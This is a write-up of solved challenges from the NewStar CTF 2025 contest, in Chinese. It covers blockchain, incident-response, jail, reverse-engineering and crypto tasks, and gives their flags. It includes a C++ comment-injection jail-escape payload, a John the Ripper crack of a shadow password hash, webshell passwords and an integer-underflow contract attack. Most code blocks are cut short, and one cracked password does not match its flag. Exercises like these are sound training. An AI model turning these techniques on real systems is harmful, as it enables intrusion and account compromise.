| 报文帧号 | 写入的字节地址 | 写入的16进制数据 | 对应的ASCII字符 |
|---|---|---|---|
| 3 | 0 | 0049 |
I |
| 21 | 2 | 0049 |
I |
| 7 | 4 | 004f |
O |
| 23 | 6 | 0054 |
T |
| 29 | 8 | 005f |
_ |
| 31 | 10 | 0069 |
i |
| 27 | 12 | 006d |
m |
| 5 | 14 | 0070 |
p |
| 19 | 16 | 006f |
o |
| 25 | 18 | 0072 |
r |
| 9 | 20 | 0074 |
t |
| 11 | 22 | 0061 |
a |
| 15 | 24 | 006e |
n |
| 13 | 26 | 0074 |
t |
| 17 | 28 | 0021 |
! |
- 将重新排序后的 ASCII 字符拼接起来得到
IIOT_important!
FLAG
1 | flag{IIOT_important!} |
区块链-以太坊的约定
Challenge
城邦附近开了一家存储链子的工坊,快来看看吧!
本题由多个小问题组成,得到各个小问题答案后用下划线”_”拼接即可
1.注册小狐狸钱包,并提交小狐狸钱包助记词个数
2.1145141919810 Gwei等于多少ETH (只保留整数)
3.查询此下列账号第一次交易记录的时间,提交年月日拼接,如20230820
0x949F8fc083006CC5fb51Da693a57D63eEc90C675
4.使用remix编译运行附件中的合约,将输出进行提交
【难度:中等】
Solution
1
常识,12 个
2
常识,查下就知道这个单位怎么换算了,1145 ETH
3
首先出题人大概率不会花真金白银来出题,那就排除掉主网了,前面的问题问的都是以太坊的,那很明显是以太坊的测试网了,那么在众多测试网中最出名的一个当然就是 Sepolia 啦, Sepolia Transaction Hash: 0x26cf6de9d7… | Etherscan,Jun-14-2024 06:01:48 AM UTC
4
1 | // SPDX-License-Identifier: MIT |
不跑也行,一眼看到 return "solidity";,solidity
FLAG
1 | flag{12_1145_20240614_solidity} |
Week 4
Misc
区块链-智能合约
Challenge
如果你想和工坊签订合约,就来这个地址找它吧!
合约地址:0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08 合约在 sepolia 测试链上进行
【难度:简单】
SimpleVault2.0_user.sol
1 | // SPDX-License-Identifier: MIT |
Solution
1 | import os |
FLAG
1 | flag{E4sy_S0lidity_D3v_F1a9_C0d3_4ud1t} |
应急响应-初识
Challenge
欢迎来到第四周。在前三周的挑战中,你已经掌握了基础的日志分析、流量分析、osint能力,请挑战者们集中所有力量,打开这扇应急响应大门吧!
城邦的图片托管服务平台遭受到恶意攻击,请挑战中们协助临时工清理处置,完成报告。
用户名:Administrator 密码:Newst@r
flag{木马连接密码_创建账号工具发布时间(年-月-日)_影子用户密码}
【难度:中等】
Solution

木马连接密码:rebeyond

影子用户密码:Ns2025

在桌面找到影子用户账号创建工具,搜索看可以找到 Release v 0.2 · wgpsec/CreateHiddenAccount,v0.2的发布时间是 Jan 18, 2022
FLAG
1 | flag{rebeyond_2022-01-18_Ns2025} |
jail-Neuro jail
Challenge
Neuro 打 osu 的时候被关进 jail 了!一定是 Evil 干的,快点帮帮 Neuro 逃出 jail!【如果出现乱码问题,请在终端输入 chcp 65001】
【难度:简单】
jail.py
1 | import sys, base64, subprocess, os |
template_cpp.cpp
1 |
|
Solution
在C++预处理阶段,如果一行的最后一个字符是反斜杠 \,预处理器会把它和下一行物理地拼接成一个逻辑行。合并后的逻辑行在预处理器看来是这样的:std::string s = “NewStar”; // std::string s = “NoWay”;
这样就可以把下一行给注释了
因此可以鼓构造 payload:std::string s = "NewStar!!!"; //\
base64 编码后得到:c3RkOjpzdHJpbmcgcyA9ICJOZXdTdGFyISEhIjsgLy9c
1 | ╔══════════════════════════════════════════════════════════════════════════════╗ |
FLAG
1 | flag{58f8cf0b-9c3d-44dd-9757-1935ef568af9} |
Week 5
Misc
应急响应-把你mikumiku掉-1
Challenge
城邦为世界第一公主殿下搭建了网站,突然受到了CVE组织的攻击,你能帮城邦对服务器进行排查吗
解压密码:d93e2cb85b2a51ef40e86e4bd6df0b14
账号:newstar 密码:newstar
请问攻击者使用的漏洞编号是?flag{漏洞编号}
【难度:中等】
Solution
在 /home/newstar/.bash_history 发现修改了 /etc/systemd/system/tomcat.service,怀疑是 tomcat 的洞,直接在搜索引擎搜索 “tomcat cve 2025” 找到 RCE 漏洞 CVE-2025-24813,一试就出来了
FLAG
1 | flag{CVE-2025-24813} |
应急响应-把你mikumiku掉-2
Challenge
flag{木马连接密码_恶意用户密码}
tips:用户密码是六位特定范围内的字母构成
【难度:中等】
Solution
吐槽一下这题的 tips 放得有点晚
先找到恶意用户是 mikuu,首次登录时间为 2025-10-17 13:28:23

在时间线上找 2025-10-17 13:28:23 前面一点的内容

找到木马 mikuu.jsp,连接密码是 miiikuuu

拿到该用户的密码哈希 $y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8,将其写入 hash.txt 备用
根据提示用户密码是六位特定范围内的字母构成,猜测特定范围内的字母(也就是字符集)是 miku,写脚本生成字典
1 | import itertools |
然后用 JtR 爆破:
1 | john --wordlist=wordlist.txt --format=crypt hash.txt |
得到恶意用户的密码 mikuu
FLAG
1 | flag{miiikuuu_miiiku} |
应急响应-把你mikumiku掉-3
Challenge
被加密文件里面的内容是什么?
【难度:中等】
Solution
在 /home/mikuu 找到加密程序和加密文件

mcp 一把梭了

1 | from Crypto.Cipher import AES |
FLAG
1 | flag{Miku_miku_oo_ee_oo} |
区块链-INTbug
Challenge
合约地址:0xB6748b3B308b382E28438cc72872e2D70369D90b
【难度:简单】
1 | // SPDX-License-Identifier: MIT |
Solution
吐槽一下,这题的合约地址在开赛 9 小时后才被放出…
目标是调用 getFlag() 获取合约中存储的 flag,调用的条件是将自己的 unlocked 状态设置为 true,然后发现它能在 usePoints 函数中被修改为 true
1 | function usePoints(uint256 points) external { |
条件是 userSpentPoints[msg.sender] 的值大于 1000,然后分析 userSpentPoints[msg.sender] 这个变量的行为:
- 在首次调用
addPoints/usePoints时值被设置为 1000 - 在
usePoints函数中,该变量的值会通过userSpentPoints[msg.sender] -= points;这行代码被减少
整个合约中 userSpentPoints 的值只会减小不会增加,要怎样才能让它大于 1000 呢?
Solidity 从 0.8.0 开始会默认开启溢出保护,然而在上面的代码中这个保护却被人为关闭了
1 | unchecked { |
因此合约存在整数下溢漏洞,只需要在调用 usePoints 时传入的 points 参数大于 userSpentPoints[msg.sender] 的当前值(1000)就会触发下溢
1 | import os |
FLAG
1 | flag{Good_NewStar2025_Byeeeee!} |
Reverse
天才的“认证”
Challenge
“我把空间站的防御系统拿来做了个小玩具。如果你能破解它,就来主控室找我。要是连这点事都办不到,就别来烦我了,笨蛋。”
【难度:中等】
Solution
解包+反编译得到:
1 | # Decompiled with PyLingual (https://pylingual.io) |
1. 分析 TinyVM 虚拟机
首先,我们需要理解虚拟机的指令集。通过阅读TinyVM.run方法的if/elif分支,我们可以解析出每个操作码(opcode)的功能:
self.mem: 一个大小为100的内存数组。self.user_input: 用户的输入(flag),被加载到内存的mem[16]到mem[16 + len(input) - 1]位置。self.stack: 用于计算的栈。self.ip: 指令指针,指向当前要执行的字节码。self.f: 一个布尔标志位,用于条件跳转。
指令集 (ISA):
0x01 (1):push imm- 将紧随其后的立即数压栈。0x02 (2):push mem[imm]- 将内存中mem[立即数]的值压栈。0x03 (3):pop mem[imm]- 弹出一个值并存入mem[立即数]。0x04 (4):add- 弹出两个值,相加后结果压栈。0x05 (5):xor- 弹出两个值,异或后结果压栈。0x06 (6):shl- 弹出n和v,将v << n的结果压栈。0x07 (7):shr- 弹出n和v,将v >> n的结果压栈。0x08 (8):or- 弹出两个值,或运算后结果压栈。0x09 (9):cmp- 弹出两个值,如果相等,self.f设为True,否则为False。0x0a (10):jne- 如果self.f为False,则进行跳转。0x0b (11):je- 如果self.f为True,则进行跳转。0x0c (12):jmp- 无条件跳转。0x0d (13):push len- 将用户输入的长度压栈。0x0e (14):push mem[pop]- 弹出一个地址,将mem[地址]的值压栈。0x0f (15):pop mem[pop]- 弹出值和地址,将值存入mem[地址]。0xff (255):halt- 停止虚拟机。
2. 分析字节码 (BYTECODE)
字节码是虚拟机的程序,我们需要反汇编它来理解其逻辑。
2.1 初始化阶段
字节码的前半部分是一系列push imm和pop mem[imm]指令,用于在内存中初始化一些数据。b'\x01i\x032\x011\x033...'
\x01i\x032->push 'i',mem[50] = pop()->mem[50] = 105\x011\x033->push '1',mem[51] = pop()->mem[51] = 49
…以此类推,它将一个31字节的数组存储在mem[50]到mem[80]。这个数组是加密/变换后的正确flag,我们称之为expected_data。
2.2 检查输入长度
\r(0x0d):push len(user_input)\x01\x1f:push 31\t(0x09):cmp- 比较栈顶两个值,即len(user_input)和31。\n=(0x0a,0x3d):jne 61- 如果不相等(f为False),则向前跳转61字节到失败处理逻辑。
结论1:Flag的长度必须是31。
2.3 主循环与加密算法
接下来是一个循环,它逐个处理我们输入的字符。
\x01K\x03\x02:push 'K',mem[2] = pop()->mem[2]存储了密钥K(ASCII 75)。\x01\x00\x03\x00:push 0,mem[0] = pop()->mem[0]用作循环计数器i,初值为0。
循环体内的逻辑(伪代码):
1 | // for i from 0 to 30: |
如果循环成功完成(i达到31),程序会跳转到成功路径,将1压栈并停止,check_flag返回True。否则,会跳转到失败路径,将0压栈并停止。
3. 逆向算法并求解
现在我们知道了加密过程,只需将其逆向操作即可得到原始的flag字符。
正向过程:expected_char = ROR_5 ( (input_char + i) ^ key )
逆向过程:
逆向循环右移 (ROR_5): 循环右移5位的逆操作是循环左移 (ROL_5) 5位。对于一个8位字节
x,ROL(x, 5)等于((x << 5) | (x >> 3)) & 0xFF。transformed_char = ROL_5(expected_char)逆向异或 (XOR): 异或的逆操作是其本身。
input_char + i = transformed_char ^ key逆向加法: 加法的逆操作是减法。
input_char = (transformed_char ^ key) - i
我们需要对 expected_data 中的每个字节执行这个逆向过程。
1 | BYTECODE = b'\x01i\x032\x011\x033\x01A\x034\x01\t\x035\x01\xa1\x036\x01`\x037\x01\xa1\x038\x01\x81\x039\x011\x03:\x019\x03;\x01\x8b\x03<\x01!\x03=\x01\xd1\x03>\x019\x03?\x01 \x03@\x01\xb1\x03A\x01\xf9\x03B\x01\xd9\x03C\x01q\x03D\x01f\x03E\x01\x18\x03F\x01\x99\x03G\x01V\x03H\x01\xe9\x03I\x01q\x03J\x010\x03K\x01V\x03L\x018\x03M\x01\xa1\x03N\x01\xab\x03O\x01\x86\x03P\r\x01\x1f\t\n=\x01K\x03\x02\x01\x00\x03\x00\x02\x00\x01\x1f\t\x0b+\x01\x10\x02\x00\x04\x0e\x02\x00\x04\x02\x02\x05\x03\x01\x02\x01\x01\x03\x06\x02\x01\x01\x05\x07\x08\x012\x02\x00\x04\x0e\t\n\x0c\x02\x00\x01\x01\x04\x03\x00\x0c\xce\x01\x01\xff\x01\x00\xff' |
FLAG
1 | flag{Bytec0de_And_St4ck_M4g1c!} |
Jvav Master
Challenge
——“你会Java吗?”
——“我会Jvav啊”
【难度:中等】
Solution
好眼熟的题呀,在哪里见过呢?[CTF+Binary-Re挑战题]-JvavMaster[Score5] | CTF+,还有我当时的WP
参考文章:GUI—— 从的可执行exe文件中提取jar包并反编译成Java - 知乎
下载 JD-GUI
🪟 + R 输入 %temp%,按时间降序,运行程序后刷新打开刚刚冒出来的文件夹
把文件夹里的 jvav.jar 拖到 jd-gui 进行反编译

能看到 Main , KeyChecker , FlagChecker , RC4 这四个类
主逻辑在 Main 类中,流程如下:
- 提示用户输入
key - 调用
KeyChecker.checkKey()验证key的正确性 - 如果
key正确,则提示用户输入flag - 调用
RC4.encrypt()使用key加密输入的flag - 调用
FlagChecker.Checker()验证加密后的数据 - 如果验证通过就输出 “right flag!”
因此流程是:逆 KeyChecker 算出正确的 key -> 逆 FlagChecker 推出 RC4 加密后的数据 -> 逆 RC4 ,用第一步得到的 key 解密第二步得到的数据,恢复出原始 flag
逆向 KeyChecker:
KeyChecker 类中的 checkKey 方法是关键,它通过一个嵌套循环来验证长度为 22 的 key
1 | for (int i = 0; i < 22; i++) { |
代码设置了 22 个方程,如果我们从 i = 21 倒序分析会发现:
- 当
i = 21时,内层循环只有j = 21,方程中只包含一个未知数key[21] - 当
i = 20时,内层循环j遍历 20 和 21,方程包含key[20]和key[21],由于key[21]已知,我们也能解出key[20]
以此类推,这是一个可以从后向前依次求解的方程组,将这 22 个方程构建成约束模型让求解器找出满足所有条件的 key
逆向 FlagChecker:
FlagChecker 实现了一个小型虚拟机,它对长度为 48 的字节数组 data(即加密后的 flag)执行一系列操作:
- 指令获取:
Checker函数通过一个确定性的伪随机数生成器random(i)来获取指令,这意味着只要i的顺序不变的话指令序列就是固定的 - 指令集:
ADD,SUB,XOR,ROL(循环左移),ROR(循环右移) - 验证:VM 中还有一种特殊的
CHECK操作(opcode 204),它并不修改数据,而是断言在所有变换结束后,data数组中某个位置的值必须等于一个给定的参数
目标是找出能够通过所有 CHECK 操作的初始 data 数组,采用符号执行的思想解题:
- 将初始的 48 字节
data数组视为 48 个未知的符号变量 - 正向模拟 VM 的执行过程,对这些符号变量进行变换得到一系列复杂的符号表达式
- 当遇到
CHECK指令时添加一个约束:data[idx]对应的符号表达式必须等于param - 将所有约束交给求解器即可计算出能满足所有最终条件的初始
data数组的值
逆向 RC4:
RC4 类实现了一个魔改的 RC4 算法,与标准 RC4 相比区别在于:
- S-Box 初始化:
box[i] = 255 - i ^ 0x83 - KSA 密钥调度:
key[(j + 72) % key.length] - 加解密操作:
output[k] = (byte)(plaintext[k] + box[index] ^ 0x77)
从加密公式 ciphertext = (plaintext + keystream) ^ 0x77 可以推导出解密公式 plaintext = ((ciphertext ^ 0x77) - keystream),其中 keystream 就是 box[index]
由于 KSA 和 PRGA 过程是确定性的,只要有正确的 key 就能生成完全相同的密钥流,从而完成解密
exp如下:
1 | from ctypes import c_int32 |
FLAG
1 | flag{4r3_y0U_g0oD_a7_j4vA?I'm_V3rY_Go0d_47_JvaV} |
挑战题
[Cry]随机数之旅2
Challenge
mt19.937,哇哦。
1 | def _int32(x): |
Solution
理解目标:脚本的目标是恢复
flag,flag被编码为一个长整数m,然后与一个密钥x进行异或(XOR)操作,我们得到了异或后的结果m^x和一个hint列表分析PRNG(伪随机数生成器): 脚本使用了一个名为
MT19_937的类,这很明显是基于著名的 Mersenne Twister (MT19937) 算法的变种- 状态大小: 它的内部状态
self.mt是一个长度为 114 的列表,标准 MT19937 的状态大小为 624 - 混淆:
extract_number方法从内部状态中取出一个数字,并对其进行一系列的位移和异或操作,这是标准的 Mersenne Twister 操作,但使用的常量和操作(y = y ^ y << 7 & 0x0d000721)是自定义的 - 扭曲:
twist方法用于在状态用完时生成新的状态,这个过程也是 MT 算法的核心,它使用了自定义的参数(如(i + 66) % 114和魔数0x0d000721)
- 状态大小: 它的内部状态
找到突破口:
- 我们得到了一个
hint列表,其长度为 114,正好等于 PRNG 的内部状态大小 hint中的每一个数字都是从 PRNG 的内部状态mt[i]经过extract_number中的 tempering 操作后得到的- 如果我们能逆转这个 tempering 操作,我们就可以从
hint恢复出 PRNG 在某个时刻的完整内部状态mt
- 我们得到了一个
逆转Tempering操作:
extract_number中的 tempering 过程如下:y = y ^ (y >> 11)y = y ^ ((y << 7) & 0x0d000721)
- 我们需要按相反的顺序逆转这两个操作
- 逆转操作2:
z = y ^ ((y << 7) & 0x0d000721)。这是一个z = y ^ (f(y))形式的操作。由于y << 7,y的低7位没有受到影响,直接传递给了z。我们可以利用这一点,从低位到高位,逐步恢复出原始的y。 - 逆转操作1:
z = y ^ (y >> 11)。这是一个更常见的 MT tempering 操作。y的高11位直接传递给了z。我们可以从高位到低位,逐步恢复出原始的y。
重建状态并预测未来:
- 通过对
hint列表中的每个数字执行 “untemper” 操作,我们可以得到 PRNG 的完整内部状态mt数组。 - 一旦我们有了这个状态,我们就可以创建一个新的
MT19_937实例,并将它的内部状态设置为我们恢复的状态。 - 现在我们有了一个与原始
task对象状态完全同步的 PRNG,我们可以调用它的extract_number方法来生成与原始脚本完全相同的后续随机数。 - 调用它 11 次来生成
key列表。
- 通过对
计算密钥并解密:
- 根据原始脚本计算
x,即key列表中所有数字的乘积 - 我们有了
x和m^x,只需将它们再次异或即可得到m:m = (m^x) ^ x - 最后,将长整数
m转换回字节串即可得到flag
- 根据原始脚本计算
1 | from Crypto.Util.number import long_to_bytes |
FLAG
1 | flag{e9ef408f-feef-4732-b6d0-77d9813b8f9c} |
[Cry]DLP
Challenge
用好题目和工具,解决这个离散对数问题吧
1 | from Crypto.Util.number import * |
Solution
1. 问题分析
题目 gen_dlp_with_flag 的执行流程如下:
生成素数和原根:
- 生成了
k=16个 32-bit 的素数p_i - 对于每个素数
p_i,找到了其最小的原根g_i
- 生成了
加密 Flag:
- 将
flag字符串转换为一个大整数x - 对于每一对
(p_i, g_i),计算了y_i = g_i^x mod p_i,这本质上是 16 个独立的离散对数问题
- 将
合并结果:
- 使用中国剩余定理(CRT)将这 16 个
y_i合并成一个唯一的解y(模N = p_0 * p_1 * ... * p_{15}) y满足以下 congruence system:y ≡ y_0 (mod p_0)y ≡ y_1 (mod p_1)- …
y ≡ y_{15} (mod p_{15})
- 使用中国剩余定理(CRT)将这 16 个
输出:
- 最后脚本输出
N和y
- 最后脚本输出
2. 解题思路
我们的目标是根据给定的 N 和 y 来反推出 x,然后将 x 转换回 flag 字符串:
分解 N:
N是 16 个 32-bit 素数的乘积。32-bit 的数非常小(最大约为 4 * 10^9),因此分解N是一件很容易的事情。我们可以在线工具 factordb.com 分解N,得到所有的p_i。
恢复
y_i:- 根据中国剩余定理的性质,我们知道
y ≡ y_i (mod p_i)。因此对于我们分解出的每一个p_i,我们可以通过y_i = y % p_i来计算出对应的y_i。
- 根据中国剩余定理的性质,我们知道
恢复
g_i:- 题目中的
find_primitive_root函数是确定性的,它总是返回模p的最小原根,因此我们可以对分解出的每个p_i运行完全相同的find_primitive_root函数,从而得到与加密时完全相同的g_i。
- 题目中的
解决离散对数问题 (DLP):
- 现在,对于每一组
(p_i, g_i, y_i),我们都有一个离散对数问题:求解x使得g_i^x ≡ y_i (mod p_i)。 - 由于
p_i是 32-bit 的小素数,解决这个 DLP 非常快。我们可以使用 SymPy 库中的discrete_log函数,或者Pohlig-Hellman算法,甚至是暴力搜索。 - 解出
x之后需要注意解是在模phi(p_i) = p_i - 1的意义下的,也就是说我们得到的是一系列关于x的同余方程:x ≡ x_i (mod p_i - 1)。
- 现在,对于每一组
再次使用 CRT:
- 我们现在有了一个新的同余方程组:
x ≡ x_0 (mod p_0 - 1)x ≡ x_1 (mod p_1 - 1)- …
x ≡ x_{15} (mod p_{15} - 1)
- 这里的模数是
p_i - 1,它们很可能不是互素的。 - 使用
crt解决这个方程组我们就能得到唯一的x(模这些p_i-1的最小公倍数)。
- 我们现在有了一个新的同余方程组:
恢复 Flag:
- 最后,将解出的整数
x使用long_to_bytes函数转换回字节串,即可得到 flag。
- 最后,将解出的整数
1 | from Crypto.Util.number import long_to_bytes |
FLAG
1 | flag{D0_y0u_lik3_4i5cr3te_1og@rit6m?} |
[Cry]置换DLP
Challenge
给定对称群S_n和其两个元素(也就是置换)g,h,求x满足g自己复合x次得到h。 例: 输出: S_3 (1 2 3 ) (1 3 2) 输入: 2 因为: (1 2 3 )(1 2 3 )=(1 3 2)=(1 2 3)^2
Solution
这个问题的核心是计算 g 的幂,直到找到 h。这是一个典型的“Meet-in-the-middle”或“Baby-step giant-step”算法可以优化的场景,但对于CTF中常见的 n(通常不会太大),直接的暴力搜索(迭代计算 g^x)是最高效且最容易实现的。
- 表示置换: 使用一个字典来表示一个置换。例如,在 S_7 中,置换
(1 5) (2 6)意味着1->5,5->1,2->6,6->2,其他数字不变。我们可以用字典{1:5, 2:6, 3:3, 4:4, 5:1, 6:2, 7:7}来表示。 - 解析输入: 写一个函数,将字符串
"(1 5) (2 6) (3 4 7)"解析成我们内部的字典表示。 - 置换复合 (乘法): 实现两个置换的复合操作。如果
p1和p2是两个置換,那么复合p1 * p2作用于i的结果是p1(p2(i))。 - 计算阶 (Order): 一个置换
g的阶ord(g)是使得g^k等于单位置换(所有元素不变)的最小正整数k。ord(g)是g的所有不相交循环的长度的最小公倍数 (LCM)。这是我们搜索x的上限。 - 迭代搜索:
- 从
x = 0开始,计算g^0(单位置换)。 - 循环计算
g^1, g^2, g^3, ...直到g^{ord(g)-1}。 - 在每一步,检查当前的
g^x是否等于h。 - 如果找到匹配,
x就是答案。 - 如果循环结束仍未找到,则说明
h不在g生成的循环子群中,无解。
- 从
1 | import re |
1 | === Permutation Discrete Log Challenge === |
FLAG
1 | flag{D15cR3t3_lo94R1tHM__8Ut_1n_p3RmuT4T1on_9rOUp2__1t_c3RT41nlY_WO'Nt_83_D1fF1cuLt_4_U!} |
[Cry]随机数之旅1.3
Challenge
最旧最冷配置
1 | import uuid |
Solution
题目用 LCG 算法来隐藏信息,LCG 的基本形式是:
X_{n+1} = (a * X_n + c) % m
在题目中:
X_n对应hint列表中的前一个元素hint[-1]a是一个未知的素数c是我们想要恢复的明文m(flag 的整数形式)m(模数) 是一个大素数p
所以,hint 列表的生成规则是 hint[i] = (a * hint[i-1] + m) % p
脚本输出了素数 p 和整个 hint 列表,列表中有 11 个元素 (hint[0] 到 hint[10]),我们拥有足够的信息来解出未知的 a 和 m
我们有两个未知数(a 和 m),只需要建立一个包含这两个未知数的方程组即可求解
从 hint 列表中取出连续的三项(例如 hint[0], hint[1], hint[2]),根据生成规则可以列出以下两个方程:
hint[1] = (a * hint[0] + m) % phint[2] = (a * hint[1] + m) % p
这是一个模 p 意义下的二元一次方程组,可以通过消元法求解
第一步:消去 m
将方程2减去方程1:(hint[2] - hint[1]) = (a * hint[1] + m) - (a * hint[0] + m) (mod p)(hint[2] - hint[1]) = a * hint[1] - a * hint[0] (mod p)(hint[2] - hint[1]) = a * (hint[1] - hint[0]) (mod p)
第二步:求解 a
将 (hint[1] - hint[0]) 除到等式左边:a = (hint[2] - hint[1]) * inverse(hint[1] - hint[0], p) (mod p)
这里的 inverse(x, p) 是求 x 在模 p 意义下的逆元。
第三步:求解 m
计算出 a 就可以把它代入第一个方程求解 m:hint[1] = (a * hint[0] + m) (mod p)m = (hint[1] - a * hint[0]) (mod p)
1 | from Crypto.Util.number import * |
1 | [*] 成功恢复 a = 50284842668591874286962530711840222441575267222168631627346628930023136944986518242285511306089960820 |
FLAG
1 | flag{3ea753dc-8d46-41f7-b4a6-e828c0253831} |
[Cry]随机数之旅1.9
Challenge
最旧最冷配置pro max
1 | import uuid |
Solution
LCG 参数恢复问题
这次只得到了 hint 列表,我们有三个未知数:
a(乘数)m(增量,即 flag)p(模数)
生成规则依然是:hint[i] = (a * hint[i-1] + m) % p
我们需要分步恢复这些未知数,关键在于首先找到模数 p
第一步:消除 m
和上次一样,我们可以通过做差来消除 mhint[i] - hint[i-1] = a * (hint[i-1] - hint[i-2]) (mod p)
定义一个新的序列 d[i] = hint[i+1] - hint[i],那么上面的关系可以写成 d[i] = a * d[i-1] (mod p)
这说明序列 d 是一个模 p 意义下的等比数列
第二步:消除 a 并找到 p
现在我们有了关系 d[i] = a * d[i-1] (mod p),我们可以用这个关系来消除 a
从 d[1] = a * d[0] (mod p) 和 d[2] = a * d[1] (mod p) 得到:a = d[1] * inverse(d[0], p) (mod p)a = d[2] * inverse(d[1], p) (mod p)
所以 d[1] * inverse(d[0], p) = d[2] * inverse(d[1], p) (mod p)
两边同时乘以 d[0] * d[1] 得到 d[1]^2 = d[2] * d[0] (mod p)
这说明了 d[1]^2 - d[2] * d[0] 的结果必须是 p 的倍数
我们可以对序列 d 中的任意连续三项 d[i-1], d[i], d[i+1] 应用这个逻辑,得到 d[i]^2 - d[i+1] * d[i-1] 必须是 p 的倍数
由于 p 是所有这些表达式的公约数,那么 p 也必然是它们的最大公约数的一个因子
因为 p 是一个大素数,它很可能就是这个 GCD 本身(或者 GCD 的绝对值)
算法流程:
- 根据
hint列表计算差分序列d,其中d[i] = hint[i+1] - hint[i] - 利用序列
d计算一系列p的倍数,例如计算T_i = d[i+1]^2 - d[i+2] * d[i] - 计算所有这些
T_i值的最大公约数G = gcd(T_0, T_1, T_2, ...) - 恢复的模数
p就是abs(G) - 一旦
p被恢复,问题就退化成了上一个题目,然后就可以用同样的方法来恢复a和m
第三步:恢复 a 和 m
现在我们知道了 p,就可以像上一个题目一样:
- 求
a:a = (hint[2] - hint[1]) * inverse(hint[1] - hint[0], p) (mod p) - 求
m:m = (hint[1] - a * hint[0]) (mod p)
1 | import math |
1 | [*] 成功恢复 p = 280850935843921831854086310440676685065750764735757538361697628591000158614408642674982565414740868673 |
FLAG
1 | flag{513a05ef-ca04-4e94-af25-a893da4221fe} |
[Cry]运气与实力
Challenge
参数:2^24;514
Solution
本题和 Week 3 的 Crypto-欧皇的生日 相关,Crypto-欧皇的生日 的题目代码如下:
1 | import random |
Crypto-欧皇的生日 题解:
1. 题目信息
- 哈希函数:
Hash(x) = (a*x**2 + b*x + c) % m - 模数 (Modulus):
m = 2**22 - 未知数:
a, b, c是在1到m-1之间随机生成的整数。 - 目标: 找到两个不相等的整数
x1和x2,使得Hash(x1) = Hash(x2)。
2. 数学推导 (寻找碰撞条件)
我们的目标是让等式成立:Hash(x1) ≡ Hash(x2) (mod m)
将哈希函数代入:a*x1² + b*x1 + c ≡ a*x2² + b*x2 + c (mod m)
首先,等式两边的 c 可以直接消掉:a*x1² + b*x1 ≡ a*x2² + b*x2 (mod m)
移项,将含有 a 和 b 的项分别合并:a*x1² - a*x2² + b*x1 - b*x2 ≡ 0 (mod m)
提取公因式:a(x1² - x2²) + b(x1 - x2) ≡ 0 (mod m)
这里出现了平方差公式 (x1² - x2²) = (x1 - x2)(x1 + x2),代入:a(x1 - x2)(x1 + x2) + b(x1 - x2) ≡ 0 (mod m)
再次提取公因式 (x1 - x2):(x1 - x2) * [a(x1 + x2) + b] ≡ 0 (mod m)
这个公式就是碰撞条件,这个公式告诉我们只要 (x1 - x2) * [a(x1 + x2) + b] 的乘积是 m 的倍数就能发生碰撞。
3. 利用模数 m = 2^22 的特性
模数 m = 2^22 是一个2的幂,这是本题的漏洞所在,我们要让上述乘积成为 2^22 的倍数。
我们可以通过构造 x1 和 x2,将 2^22 这个因子分配给乘积的两个部分 (x1 - x2) 和 [a(x1 + x2) + b]。
一个最简单的构造方法是让其中一个部分包含大量的2的因子,尝试构造 x1 - x2,让它包含 m 的一半,也就是 2^21。
最简单的构造方式是:
- 令
x1 = 0 - 令
x2 = 2^21(即m/2)
这样我们就有:
x1 - x2 = -2^21x1 + x2 = 2^21
将它们代入碰撞条件:(-2^21) * [a(2^21) + b] ≡ 0 (mod 2^22)
现在左边的乘积已经有一个 2^21 的因子了,为了让整个乘积能被 2^22 整除,我们只需要 [a(2^21) + b] 这个部分能再提供一个 2 的因子,也就是说,[a(2^21) + b] 必须是一个偶数。
分析 [a(2^21) + b] 的奇偶性:
a(2^21): 因为21 >= 1,所以2^21是一个很大的偶数。任何整数a乘以一个偶数,结果必然是偶数。b:b是随机生成的,它可能是奇数,也可能是偶数。
因此[a(2^21) + b] 的奇偶性完全取决于 b 的奇偶性。
- 如果
b是偶数,那么偶数 + 偶数 = 偶数,条件满足。 - 如果
b是奇数,那么偶数 + 奇数 = 奇数,条件不满足。
4. 结论与解法
我们选择的 x1 = 0 和 x2 = 2^21 (即 2097152) 这对输入,有 50% 的概率成功碰撞(当 b 是偶数时)。
本题题解:
1. 题目信息解读
- 描述: 参数:
2^24; 514 - 分析:
- 本题核心原理和哈希函数结构很可能与
Crypto-欧皇的生日的是一样的。 2^24: 这是新的模数m,所以m = 2^24。514: 在Crypto-欧皇的生日中,a, b, c都是随机的,这里给出了一个固定的数字,它最可能是用来替换a,b,c中的某一个。
- 本题核心原理和哈希函数结构很可能与
2. 关联第一题的关键点
回顾 Crypto-欧皇的生日,我们的解法能否 100% 成功,其唯一的“不确定性”在于 b 的奇偶性。如果 b 是奇数,我们的构造就会失败。
这道挑战题最合理的改动就是修复这个不确定性,出题人很可能将 b 的值固定为了一个偶数,从而使得基于 b 的奇偶性的解法能够 100% 成功。
514 是一个偶数,这个猜测非常合理。因此我们可以大胆假设第二题的哈希函数是:Hash(x) = (a*x² + 514*x + c) % m
其中 m = 2^24,a 和 c 仍然是未知的随机数。
3. 构建第二题的解
我们使用与 Crypto-欧皇的生日 完全相同的策略:
确定模数:
m = 2^24写出碰撞条件:
(x1 - x2) * [a(x1 + x2) + b] ≡ 0 (mod m)
在这里,b已经被固定为514,m是2^24。(x1 - x2) * [a(x1 + x2) + 514] ≡ 0 (mod 2^24)构造
x1和x2:- 令
x1 = 0 - 令
x2 = m / 2 = 2^24 / 2 = 2^23
- 令
代入并验证:
x1 - x2 = -2^23x1 + x2 = 2^23- 碰撞条件变为:
(-2^23) * [a(2^23) + 514] ≡ 0 (mod 2^24)
现在,我们来验证
[a(2^23) + 514]是否为偶数:a(2^23):a是整数,2^23是偶数,所以乘积是偶数。514: 是偶数。偶数 + 偶数 = 偶数。
因此,
[a(2^23) + 514]必定是一个偶数。这意味着它可以被写成2 * k的形式(其中k是某个整数)。
那么我们的碰撞条件左侧就变成了(-2^23) * (2 * k) = -2^24 * k。
这个结果显然是2^24的倍数,所以-2^24 * k ≡ 0 (mod 2^24)恒成立。这个解法是 100% 成功的,不受随机数
a和c的影响。计算最终答案
我们只需要计算出 x2 的具体数值:x2 = 2^23 = 2^10 * 2^10 * 2^3 = 1024 * 1024 * 8 = 1048576 * 8 = 8388608
所以,第二道题的答案是输入两个数:0 和 8388608。
1 | Find a collision: give me two different numbers x1, x2 with Hash(x1)=Hash(x2). |
FLAG
1 | flag{+++++++++++You_are_very_lucky.++++++++++} |
[musc ch4l1eng3][Misc]不是所有牛奶都叫_____
Challenge
什么牛奶?MN?YGNC?YL?特@$&!$&*!@$^&——————-.
